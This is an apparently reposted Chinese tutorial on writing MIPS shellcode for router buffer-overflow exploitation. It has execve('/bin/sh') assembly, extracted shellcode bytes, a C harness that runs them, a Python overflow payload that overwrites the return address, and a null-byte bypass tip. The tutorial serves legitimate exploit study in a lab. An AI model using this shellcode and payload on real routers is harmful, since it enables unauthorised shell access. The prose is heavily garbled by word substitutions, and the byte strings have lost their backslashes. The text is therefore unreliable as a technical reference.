路由器漏洞复现终极奥义——基于MIPS的shellcode编写

媒介

本日我们来聊聊若何在MIPS架构中编写shellcode在前面的两篇文章中,我们分手先容了基于MIPS的缓冲区溢出实践,以及进一步的若何使用学到的溢出常识复现与验证路由器的破绽然则在上文的路由器破绽使用的例子里面,我们必要有一个前置前提,即含有破绽的法度榜样必须导入了系统的库函数,我们才能方便的验证,然而这个前提并不是时候有效的是以,在本文中,我们先容路由器破绽复现的最终奥义——基于MIPS的shellcode编写有了shellcode,假如目标法度榜样能够被溢出,那么我们就可以履行随意率性的法度榜样以是说是最终奥义简单来说,shellcode便是一段向进程植入的一段用于获取shell的代码,(shell即交互式敕令法度榜样)现如今,shellcode从广义上来讲,已经统一指在缓冲区溢出进击中植入进程的代码是以,shellcode现在所具备的功能不仅包括获取shell,还包括弹出消息框、开启端口和履行敕令等

在本文中,我将先容

基于MIPS的常用shellcode;

快速提取shellcode的二进制指令的对象-shell_extractor.py;

开拓的shellcode若何在自己的实验法度榜样利用

此中,shellcode二进制指令快速提取对象是我自己开拓的我随便搜索了一下,没有发明类似的能够满意我需求的对象,以是就自己开拓了一个对象,已经开源在shell_extractor),迎接大年夜家应用假如大年夜家有更好的对象,迎接评论^_^

0. 鸟瞰shellcode

首先,我们先从一个对照直不雅的角度来懂得一下,一个shellcode它在缓冲区溢出进击的历程所扮演的角色和所处的位置如图所示一个常见的MIPS客栈分配环境

Shellcode最常见的用法,便是把可以履行的敕令覆盖到客栈里面,经由过程改动RA跳转到客栈的肇端位置的要领,达到在客栈里面履行自己想要的敕令的要领是以shellcode实际上便是一段可履行的汇编指令讲到这里,那么问题来了,怎么编写这段汇编指令呢?

有两种思路,第一种:从网上搜索一些shellcode的汇编,编译之后反编译,获取二进制指令这种措施也可以,也是对照常见的做法还有一种,必要轻细花一点功夫:即用c说话先写一个系统敕令调用,编译,然后用IDA反编译,直接把对应的汇编指令提掏出来不过,在提取对应的汇编指令的时刻,必要对存储的参数的位置,以及对付寄存器的处置惩罚进行从新的调剂

比如,我们编写一个execve的调用法度榜样execve是shellcode常用的法度榜样之一,它的目的是让已经嵌入的利用法度榜样履行别的一个法度榜样,比如/bin/shLinux 中对该系统调用的定义如下:

int execve(const char *path, char *const argv[], char *const envp[]);

那么我一个常见的c说话调用execve的代码可所以这样的:

#include

int main()

{

char *program = “/bin/ls”;

char *arg = “-l”;

char *args[3];

args[0] = program;

args[1] = arg;

args[2] = 0;

execve(program, args, 0);

}

编译下,看看IDA反编译出来是什么样的

会发明,参数program和arg的是必要从新处置惩罚的,比如就随着放在这段shellcode法度榜样的后面(之后先容的手动编写shellcode就会写到这种处置惩罚要领)execve在跳转之后,会发明,终极是经由过程syscall完成的系统调用

总结来说,这二种措施得当初学者一步一步对应着c源代码和汇编法度榜样,进修汇编法度榜样的shellcode编写然则直接提取的话,会发明冗余的指令过多在覆盖客栈的时刻,占用的空间越少,破绽使用的成功率会越高是以,本文照样着重第一种要领,即从成熟的处置惩罚好的shellcode中进修感兴趣的读者也可以进一步优化上述代码,让它的体积尽可能小,这对付打根基是异常好的

前面我们提到,终极execve是经由过程syscall这个敕令实现的系统调用,是以,基于MIPS的shellcode编写,大年夜部分都是基于syscall这个敕令的

syscall函数的参数形式为 syscall($v0, $a0, $a1…); 此中$v0用于保存必要履行的系统调用的调用号,并且按照对应的函数调用规则放置参数比如调用exit的汇编代码例子

li $a0, 0

li $v0, 4001

syscall

此中指令li (x,y)的意思是将急速数y放置到寄存器x中系统调用好可以在linux系统里找到,比如在/usr/include/mips-linux-gnu/asm/unistd.h里面本文中,我们环抱两个系统敕令来展开,并且深入先容一个完备shellcode开拓以及破绽的流程即write, execve指令Write便是输出字符串到指定流的系统调用我们可以找到write的调用号是4004, 而execve是4011.

总体来说,基于MIPS的shellcode开拓以及破绽的流程分为以下的步骤(其他平台的shellcode开拓也类似):

1.编写shellcode的汇编代码,从网上探求,或者自己编写

2.编译,反编译之后,提取shellcode的二进制代码

3.在c中测试提取的二进制代码

4.构造payload进行测试

1. Shellcode的汇编代码构造

首先第一步,shellcode的编写一个范例的调用write的c代码为:

Int main()

{

char *pstr = “ABCn”;

write(1, pstr, 5);

}

写成shellcode就为write.S

.section .text

.globl __start

.set noreorder

__start:

addiu $sp,$sp,-32# 抬高客栈,用来放置参数

[1] [2] [3]下一页

li $a0,1# 传入第一个参数,表示输出到stdout

lui $t6,0x4142

ori $t6,$t6,0x430a# 放置字符ABCn到$t6中

sw $t6,0($sp)# 将$t6里面的数据存储到客栈中

addiu $a1,$sp,0# 从客栈中将ABCn存储到第二个参数$a1中,

li $a2,5# 传入第三个参数,5,表示字符串长度

li $v0,4004# 传入write的系统调用号4004

syscall

此中,.section .text 表示当前为.text法度榜样段,.globl __start表示定义法度榜样开始的符号,.set noreorder表示纰谬汇编指令进行从新排序

接下来应用下面的脚原先编译上述汇编指令,要从build-root里面的来编译书籍《揭秘家用路由器0day破绽掘客技巧》供给的脚本直接履行了敕令as,ld是有问题的,盼望大年夜家留意,精确的脚本犹如下面类似的

#!/bin/sh

# $ sh nasm.sh

src=$1

dst=$2

~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-as $src -o s.o

echo “as ok”

~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-ld s.o -o $dst

echo “ld ok”

rm s.o

那么下面的敕令既可以编译:

bash nasm.sh write.S write

别的一方面,对付execve(“/bin/sh”, 0, 0)孕育发生而言,范例的shellcode应为execve.S

.section .text

.globl __start

.set noreorder

__start:

li $a2,0x111#

p:bltzal $a2,p# 该指令履行后,会使得下下行的地址保存在$ra中

li $a2,0# 存入第三个参数0,

addiu $sp,$sp,-32# 拉高客栈,寄放参数

addiu $a0,$ra,28# $ra+28是下面参数字符串/bin/sh的首地址

sw $a0,-24($sp)# 将/bin/sh存入开辟的数组

sw $zero,-20($sp)# 将参数0存入数组

addiu $a1,$sp,-24

li $v0,4011

syscall

sc:# 存储的参数/bin/sh

.byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68

这里保举的大年夜家一个网址,有大年夜部分的MIPS指令聚拢:MIPS指令聚拢我们会发明,优化过后的execve的shellcode指令长度和直接从c说话编译再反编译过来的长度要缩减很多

2. 提取shellcode对应的二进制代码

接着,我们必要用法度榜样中提取shellcode对应的二进制代码传统的要领,必要在IDA中探求到对应的shellcode的二进制代码,比如

然后拷贝出来,再处置惩罚成这样类似的字符串形式:

可以发明,事情量照样有不少的是以,我开拓了一个简单的对象,来自动的从编译好的二进制代码中,提取对应的shellcode应用下面的简单敕令,就可以提取成c测试款式的二进制代码,或者py测试的

$ python shell_extractor.py execve c

char shellcode[] = {

“x24x06x06x66”

“x04xd0xffxff”

“x28x06xffxff”

“x27xbdxffxe0”

“x27xe4x10x01”

“x24x84xf0x1f”

“xafxa4xffxe8”

“xafxa0xffxec”

“x27xa5xffxe8”

“x24x02x0fxab”

“x00x00x00x0c”

“x2fx62x69x6e”

“x2fx73x68x00”

};

用法来说,便是:

[+] usage: python shell_extractor.py [filename] [format]

[*] where format can be c or py

这个对象的核心部分,便是使用readelf –S execve这个敕令,来获取shellcode中关键code的部分,然后提掏出来构造成必要的款式

比如,上述 的0xd0便是shellcode二进制代码的肇端偏移,0x30便是代码的长度

3. c说话中测试shellcode

按照对象里面的构造,选择c说话款式输出今后,按照下面的c代码款式,就可以方便的测试一下shellcode的了比如对付execve这个函数

#include

char shellcode[] = {

“x24x06x06x66”

“x04xd0xffxff”

“x28x06xffxff”

“x27xbdxffxe0”

“x27xe4x10x01”

“x24x84xf0x1f”

“xafxa4xffxe8”

“xafxa0xffxec”

“x27xa5xffxe8”

“x24x02x0fxab”

“x00x00x00x0c”

“x2fx62x69x6e”

“x2fx73x68x00”

上一页[1] [2] [3]下一页

};

void main()

{

void (*s)(void);

printf(“sc size %dn”, sizeof(shellcode));

s = shellcode;

s();

printf(“[*] work done.n”);

}

接着应用如下的脚本:

src=$1

dst=$2

~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-gcc $src -static -o$dst

指令敕令类似于:

bash comp-mips.sh execve_c.c execve_c

就可以完成编译

4. 构造payload测试shellcode

到了这一步,payload的构造要领着实和之前先容的文章差不多的了独一的区别就在于,这回必要覆盖的RA的地址,便是客栈的肇端地址,是以,一个样例的payload可所以:

import struct

print ‘[*] prepare shellcode’,

#shellcode

shellcode = “A”*0x19C# padding buf

shellcode += struct.pack(“>L”,0x408002D8)# this is the sp address for executing cmd.

shellcode += “x24x06x06x66”

shellcode += “x04xd0xffxff”

shellcode += “x28x06xffxff”

shellcode += “x27xbdxffxe0”

shellcode += “x27xe4x10x01”

shellcode += “x24x84xf0x1f”

shellcode += “xafxa4xffxe8”

shellcode += “xafxa0xffxec”

shellcode += “x27xa5xffxe8”

shellcode += “x24x02x0fxab”

shellcode += “x00x00x00x0c”

shellcode += “x2fx62x69x6e”

shellcode += “x2fx73x68x00”

print ‘ ok!’

#create password file

print ‘[+] create password file’,

fw = open(‘passwd’,’w’)

fw.write(shellcode)#’A’*300+’x00’*10+’BBBB’)

fw.close()

print ‘ ok!’

上述的例子基于的破绽是文章xx中供给的具有破绽的法度榜样可以发明是可以成功使用的

然则,细心的读者必然发清楚明了,这里面仍旧是有nullbyte的,即在调用syscall的时刻,shellcode += “x00x00x00x0c”,提取的二进制code是这样的着实他可以改成shellcode += “x01x01x01x0c”的形式,就能够成功绕过null byte的问题了

这里给感兴趣的读者留一个自己演习的题目,即,同样是上面的这段shellcode,感兴趣的读者可以试试把这段代码放到上篇文章xx提到的路由器破绽中,照葫芦画瓢的试试能不能拿到shell^_^

总结

本文主要先容了shellcode的编写流程,以及自己开拓的一个快速shellcode二进制代码提取对象Shellcode的编写中,绕过null byte的要领,可以经由过程优化代码,比如上述(”x00x00x00x0c”改成x01x01x01x0c),也可以经由过程对shellcode进行二次编码的要领Shellcode的编码花样可以很多,可以将shellcode进行压缩,可以将shellcode的bad bytes给调换掉落这些内容将在未来先容

上一页[1] [2] [3]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包